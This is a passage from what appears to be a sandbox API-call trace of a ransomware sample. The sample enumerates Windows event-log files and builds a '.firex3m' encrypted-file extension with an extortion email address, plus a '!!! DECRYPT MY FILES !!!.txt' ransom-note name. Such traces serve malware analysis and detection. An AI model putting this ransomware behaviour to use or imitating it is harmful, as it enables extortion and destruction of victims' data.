ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBClient%4Operational.evtx", cAlternateFileName="MID8B0~1.EVT")) returned 1 [0104.047] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbclient%4connectivity.evtx", psz="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", len=0x35 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx") returned 1 [0104.047] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SMBClient%4Operational.evtx", cchLength=0x35 | out: lpsz="c:\\logs\\microsoft-windows-smbclient%4operational.evtx") returned 0x35 [0104.047] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.048] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.048] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.048] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc97d66c8, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xc97d66c8, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SmbClient%4Security.evtx", cAlternateFileName="MI8CEE~1.EVT")) returned 1 [0104.048] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbclient%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 1 [0104.048] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-smbclient%4security.evtx") returned 0x32 [0104.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.048] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.048] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.048] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.048] GetProcessHeap () returned 0x630000 [0104.048] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6fef890, Size=0x44) returned 0x649f58 [0104.048] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb1ea1c9, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb1ea1c9, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Audit.evtx", cAlternateFileName="MIE3AD~1.EVT")) returned 1 [0104.049] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbclient%4security.evtx", psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", len=0x2f | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx") returned 1 [0104.049] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SMBServer%4Audit.evtx", cchLength=0x2f | out: lpsz="c:\\logs\\microsoft-windows-smbserver%4audit.evtx") returned 0x2f [0104.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.049] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.049] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.049] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.050] GetProcessHeap () returned 0x630000 [0104.050] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x649f58, Size=0x48) returned 0x64a3b8 [0104.050] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb19dd19, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb19dd19, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Connectivity.evtx", cAlternateFileName="MI8248~1.EVT")) returned 1 [0104.050] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbserver%4audit.evtx", psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", len=0x36 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx") returned 1 [0104.050] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SMBServer%4Connectivity.evtx", cchLength=0x36 | out: lpsz="c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx") returned 0x36 [0104.050] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.050] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.050] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.050] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.050] GetProcessHeap () returned 0x630000 [0104.050] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x4c) returned 0x6ef158 [0104.050] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb151873, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb151873, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Operational.evtx", cAlternateFileName="MI4B6B~1.EVT")) returned 1 [0104.051] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbserver%4connectivity.evtx", psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", len=0x35 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx") returned 1 [0104.051] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SMBServer%4Operational.evtx", cchLength=0x35 | out: lpsz="c:\\logs\\microsoft-windows-smbserver%4operational.evtx") returned 0x35 [0104.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.051] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.051] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.051] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcb177aca, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcb177aca, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SMBServer%4Security.evtx", cAlternateFileName="MI7709~1.EVT")) returned 1 [0104.051] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbserver%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx") returned 1 [0104.051] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-SMBServer%4Security.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-smbserver%4security.evtx") returned 0x32 [0104.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.051] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.051] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.051] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.052] GetProcessHeap () returned 0x630000 [0104.052] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ef158, Size=0x50) returned 0x6ee8c0 [0104.052] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd751ea61, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd751ea61, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dd3053, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-Store%4Operational.evtx", cAlternateFileName="MICEDD~1.EVT")) returned 1 [0104.052] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-smbserver%4security.evtx", psz="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", len=0x31 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx") returned 1 [0104.052] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-Store%4Operational.evtx", cchLength=0x31 | out: lpsz="c:\\logs\\microsoft-windows-store%4operational.evtx") returned 0x31 [0104.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.052] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.052] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.052] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.052] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd0763ff, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcd0763ff, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cAlternateFileName="MIE2F0~1.EVT")) returned 1 [0104.052] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-store%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", len=0x39 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx") returned 1 [0104.052] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-TaskScheduler%4Maintenance.evtx", cchLength=0x39 | out: lpsz="c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx") returned 0x39 [0104.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.053] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.053] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.053] GetProcessHeap () returned 0x630000 [0104.053] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6ee8c0, Size=0x54) returned 0x68e3b8 [0104.053] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5089d037, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x5089d037, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cAlternateFileName="MIAB1D~1.EVT")) returned 1 [0104.053] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-taskscheduler%4maintenance.evtx", psz="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", len=0x4a | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx") returned 1 [0104.053] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Admin.evtx", cchLength=0x4a | out: lpsz="c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx") returned 0x4a [0104.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.053] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.053] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.053] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.054] GetProcessHeap () returned 0x630000 [0104.054] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e3b8, Size=0x58) returned 0x68e4d8 [0104.054] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x508c32a6, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x508c32a6, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cAlternateFileName="MI62D3~1.EVT")) returned 1 [0104.054] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", len=0x50 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx") returned 1 [0104.054] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-TerminalServices-LocalSessionManager%4Operational.evtx", cchLength=0x50 | out: lpsz="c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx") returned 0x50 [0104.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.054] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.054] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.054] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.054] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc14341c, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc14341c, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cAlternateFileName="MIEC03~1.EVT")) returned 1 [0104.054] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-terminalservices-localsessionmanager%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", len=0x4e | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 1 [0104.054] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx", cchLength=0x4e | out: lpsz="c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx") returned 0x4e [0104.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.055] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.055] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.055] GetProcessHeap () returned 0x630000 [0104.055] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x68e4d8, Size=0x5c) returned 0x6e80f0 [0104.055] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc1b5b23, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xcc1b5b23, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cAlternateFileName="MI1F5D~1.EVT")) returned 1 [0104.055] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx", psz="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", len=0x54 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx") returned 1 [0104.055] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Operational.evtx", cchLength=0x54 | out: lpsz="c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx") returned 0x54 [0104.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.055] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.055] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.055] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.056] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd74ac348, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd74ac348, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xa1dace07, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-TWinUI%4Operational.evtx", cAlternateFileName="MIA925~1.EVT")) returned 1 [0104.056] SysReAllocStringLen (in: pbstr=0x6ebf660*="c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4operational.evtx", psz="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", len=0x32 | out: pbstr=0x6ebf660*="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx") returned 1 [0104.056] CharLowerBuffW (in: lpsz="C:\\Logs\\Microsoft-Windows-TWinUI%4Operational.evtx", cchLength=0x32 | out: lpsz="c:\\logs\\microsoft-windows-twinui%4operational.evtx") returned 0x32 [0104.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.056] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x644668, cbMultiByte=28, lpWideCharStr=0x6ebe5d0, cchWideChar=2047 | out: lpWideCharStr="!!! DECRYPT MY FILES !!!.txtrt@elude.in].firex3m") returned 28 [0104.056] SysReAllocStringLen (in: pbstr=0x6ebf600*=0x0, psz="!!! DECRYPT MY FILES !!!.txt", len=0x1c | out: pbstr=0x6ebf600*="!!! DECRYPT MY FILES !!!.txt") returned 1 [0104.056] CharLowerBuffW (in: lpsz="!!! DECRYPT MY FILES !!!.txt", cchLength=0x1c | out: lpsz="!!! decrypt my files !!!.txt") returned 0x1c [0104.056] FindNextFileW (in: hFindFile=0x6d5200, lpFindFileData=0x6ebf66c | out: lpFindFileData=0x6ebf66c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50aff605, 